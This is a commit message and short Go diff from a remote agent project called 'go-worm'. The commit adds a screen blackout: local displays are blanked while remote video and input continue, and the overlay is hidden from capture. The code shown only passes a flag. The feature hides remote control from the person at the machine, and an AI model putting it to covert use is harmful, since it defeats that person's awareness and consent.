feat(agent): add screen blackout feature

- Physical displays blanked via overlay
- Remote video and input keep working
- Exclude overlay from screen capture
- Add blackout API and UI toggle
- Wire flag through capture protocol

lib/capture/client_windows.go

@@ -12,6 +12,7 @@ import (
 	"sync"
 	"time"
 
+	"tea.chunkbyte.com/kato/go-worm/lib/blackout"
 	"tea.chunkbyte.com/kato/go-worm/lib/config"
 	"tea.chunkbyte.com/kato/go-worm/lib/helpers"
 	"tea.chunkbyte.com/kato/go-worm/lib/models"
@@ -80,7 +81,7 @@ func (h *helper) grab(index int, format string, quality int) (models.CapturedIma
 	deadline := time.Now().Add(config.CaptureTimeout)
 	_ = h.stdin.SetWriteDeadline(deadline)
 	_ = h.stdout.SetReadDeadline(deadline)
-	if err := writeRequest(h.stdin, index, format, quality); err != nil {
+	if err := writeRequest(h.stdin, index, format, quality, blackout.Enabled()); err != nil {
 		return models.CapturedImage{}, err
 	}
 	img, err := readResponse(h.reader)